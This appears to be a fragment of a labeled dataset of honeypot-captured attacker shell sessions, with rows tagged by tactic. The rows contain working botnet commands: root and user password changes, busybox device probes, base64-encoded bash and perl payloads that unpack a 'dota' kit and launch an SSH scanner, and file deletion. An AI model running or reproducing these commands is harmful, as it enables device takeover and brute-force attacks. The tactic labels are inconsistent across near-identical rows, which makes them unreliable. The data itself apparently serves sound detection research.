                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
| echo      | Discovery         | enable ; system ; shell ; sh ; cat /proc/mounts; /bin/busybox TIPZU ; cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TIPZU ; tftp; wget; /bin/busybox TIPZU ; dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s ; /bin/busybox TIPZU ; rm .s; exit                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| echo      | Execution         | enable ; system ; shell ; sh ; cat /proc/mounts; /bin/busybox HQWTJ ; cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HQWTJ ; tftp; wget; /bin/busybox HQWTJ ; dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s ; /bin/busybox HQWTJ ; rm .s; exit                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| echo      | Impact            | cat /proc/cpuinfo | grep name | wc -l ; echo -e "next\nLIkLzMkleXMn\nLIkLzMkleXMn"|passwd|bash ; echo "next\nLIkLzMkleXMn\nLIkLzMkleXMn\n"|passwd ; echo "321" > /var/tmp/.var03522123 ; rm -rf /var/tmp/.var03522123 ; cat /var/tmp/.var03522123 | head -n 1 ; cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ; free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ; ls -lh $(which ls) ; crontab -l ; w ; uname -m ; cat /proc/cpuinfo | grep model | grep name | wc -l ; top ; uname ; uname -a ; lscpu | grep Model ; echo "admin next" > /tmp/up.txt ; rm -rf /var/tmp/dota*                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| echo      | Not Malicious Yet | cat /proc/cpuinfo | grep name | wc -l ; echo -e "admin\nMKon7rE8TPpi\nMKon7rE8TPpi"|passwd|bash ; Enter new UNIX password:  ; echo "admin\nMKon7rE8TPpi\nMKon7rE8TPpi\n"|passwd ; echo "321" > /var/tmp/.var03522123 ; rm -rf /var/tmp/.var03522123 ; cat /var/tmp/.var03522123 | head -n 1 ; cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ; free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ; ls -lh $(which ls) ; which ls ; crontab -l ; w ; uname -m ; cat /proc/cpuinfo | grep model | grep name | wc -l ; top ; uname ; uname -a ; lscpu | grep Model ; echo "admin admin" > /tmp/up.txt ; rm -rf /var/tmp/dota* ; cat /var/tmp/.systemcache436621 ; echo "1" > /var/tmp/.systemcache436621 ; cat /var/tmp/.systemcache436621 ; sleep 15s && cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApta2RpciAuWDE3LXVuaXgKY2QgLlgxNy11bml4Cm12IC92YXIvdG1wL2RvdGEudGFyLmd6IGRvdGEudGFyLmd6CnRhciB4ZiBkb3RhLnRhci5negpzbGVlcCAzcyAmJiBjZCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYwpub2h1cCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYy90c20gLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTkyLjE2OCA+PiAvZGV2L251bGwgMj4xJgpzbGVlcCA4bSAmJiBub2h1cCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYy90c20gLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDE3LXVuaXgvLnJzeW5jL2luaXRhbGwgMj4xJgpleGl0IDA=" | base64 --decode | bash                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   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| echo      | Other             | cd /tmp || /var/tmp || /dev/shm; echo "eval unpack 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" | base64 --decode | perl ; rm -rf /var/tmp/dota* ; sleep 15s && cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKbWtkaXIgLlgxMy11bml4CmNkIC5YMTMtdW5peAptdiAvdmFyL3RtcC9kb3RhLnRhci5neiBkb3RhLnRhci5negp0YXIgeGYgZG90YS50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgLnJzeW5jOyBjYXQgL3RtcC8uWDEzLXVuaXgvLnJzeW5jL2luaXRhbGwgfCBiYXNoIDI+MSYKZXhpdCAw" | base64 --decode | bash ; cat /proc/cpuinfo | grep name | wc -l ; echo "root:b3bZyJMBgC08"|chpasswd|bash ; echo "321" > /var/tmp/.var03522123 ; rm -rf /var/tmp/.var03522123 ; cat /var/tmp/.var03522123 | head -n 1 ; cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ; free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ; ls -lh $(which ls) ; which ls ; crontab -l ; w ; uname -m ; cat /proc/cpuinfo | grep model | grep name | wc -l ; top ; uname ; uname -a ; lscpu | grep Model |
| echo      | Persistence       | cat /proc/cpuinfo | grep name | wc -l ; echo "root:XP3IUReH9hhH"|chpasswd|bash ; echo "321" > /var/tmp/.var03522123 ; rm -rf /var/tmp/.var03522123 ; cat /var/tmp/.var03522123 | head -n 1 ; cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ; free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ; ls -lh $(which ls) ; which ls ; crontab -l ; w ; uname -m ; cat /proc/cpuinfo | grep model | grep name | wc -l ; top ; uname ; uname -a ; lscpu | grep Model ; echo "root 1ntr4n3t" > /tmp/up.txt ; rm -rf /var/tmp/dota* ; cat /var/tmp/.systemcache436621 ; echo "1" > /var/tmp/.systemcache436621 ; cat /var/tmp/.systemcache436621 ; sleep 15s && cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApta2RpciAuWDE3LXVuaXgKY2QgLlgxNy11bml4Cm12IC92YXIvdG1wL2RvdGEudGFyLmd6IGRvdGEudGFyLmd6CnRhciB4ZiBkb3RhLnRhci5negpzbGVlcCAzcyAmJiBjZCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYwpub2h1cCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYy90c20gLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTkyLjE2OCA+PiAvZGV2L251bGwgMj4xJgpzbGVlcCA4bSAmJiBub2h1cCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYy90c20gLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDE3LXVuaXgvLnJzeW5jL2luaXRhbGwgMj4xJgpleGl0IDA=" | base64 --decode | bash                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  